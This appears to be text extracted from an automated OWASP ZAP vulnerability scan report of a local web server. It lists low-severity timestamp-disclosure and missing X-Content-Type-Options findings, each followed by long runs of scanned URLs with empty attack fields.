URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1594198024

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1622183637

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1634467795

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1658658271

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1661365465

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack
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Evidence 1684777152

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1706088902

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1711684554

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1742555852

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1759359992

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1762050814

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1789927666

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1802195444

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1812370925

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1843258603

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1852507879
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URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1873836001

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1886057615

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1907459465

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1913087877

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1943803523

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1957810842

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1969922972

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1373503546

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1382605366

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1404277552

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
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Method GET

Attack

Evidence 1423857449

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1426400815

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1454621731

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1466479909

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1483230225

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1504918807

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1510334235

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1541320221

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1555261956

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1567103746

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET
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Attack

Evidence 1591671054

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1594198024

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1622183637

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1634467795

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1658658271

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1661365465

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1684777152

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1706088902

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1711684554

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1742555852

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack
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Evidence 1759359992

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1762050814

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1789927666

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1802195444

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1812370925

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1843258603

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1852507879

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1873836001

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1886057615

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1907459465

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1913087877
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URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1943803523

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1957810842

URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1969922972

Instances 148

Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be 
aggregated to disclose exploitable patterns.

Reference http://projects.webappsec.org/w/page/13246936/Information%20Leakage

CWE Id 200

WASC Id 13

Plugin Id 10096

Low X-Content-Type-Options Header Missing

Description

The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows 
older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response 
body, potentially causing the response body to be interpreted and displayed as a content 
type other than the declared content type. Current (early 2014) and legacy versions of 
Firefox will use the declared content type (if one is set), rather than performing MIME-
sniffing.

URL http://192.168.1.10

Method GET

Attack

Evidence

URL http://192.168.1.10/

Method GET

Attack

Evidence

URL http://192.168.1.10/aboutus.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/

http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js
http://projects.webappsec.org/w/page/13246936/Information%20Leakage
https://cwe.mitre.org/data/definitions/200.html
https://www.zaproxy.org/docs/alerts/10096/
http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/aboutus.php
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/aalogo.jpg

Method GET
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/boots.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-theme.min.css

Method GET

Attack

http://192.168.1.10/admin/ADMIN/AS/css/?C=M;O=D
http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=A
http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=D
http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=D
http://192.168.1.10/admin/ADMIN/AS/css/boots.min.css
http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-datetimepicker.min.css
http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-theme.css.map
http://192.168.1.10/admin/ADMIN/AS/css/bootstrap-theme.min.css
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/bootstrap-datetimepicker.hu.js
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http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.ua.js


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.zh-
CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.zh-
TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/style.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/customer.png

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/Customer_list.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/head.png

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=D;O=A

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/bootstrap-datetimepicker.zh-CN.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/DT_bootstrap.js
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=N;O=D

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js
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http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=N;O=D


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ca.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/?C=S;O=D
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http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.de.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.el.js


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.es.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fi.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hr.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.is.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.it.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ja.js


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt-BR.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.kr.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lt.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.lv.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nb.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.nl.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.pt.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ro.js


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs-latin.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sl.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.tr.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.ua.js


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.zh-CN.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.zh-TW.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/message.png

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/offcanvas.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/print_Customerlist.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/4.JPG

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/bootstrap-datetimepicker.zh-CN.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/5.JPG

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/background1.jpg

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/rick.jpg
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/aalogo.jpg

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/configuration.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=D;O=A

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/boots.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-datetimepicker.min.css

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/?C=M;O=A
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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-datetimepicker.min.css


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap2.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap2.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/font-awesome.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/justified-nav.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-theme.css.map
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-theme.min.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.css.map
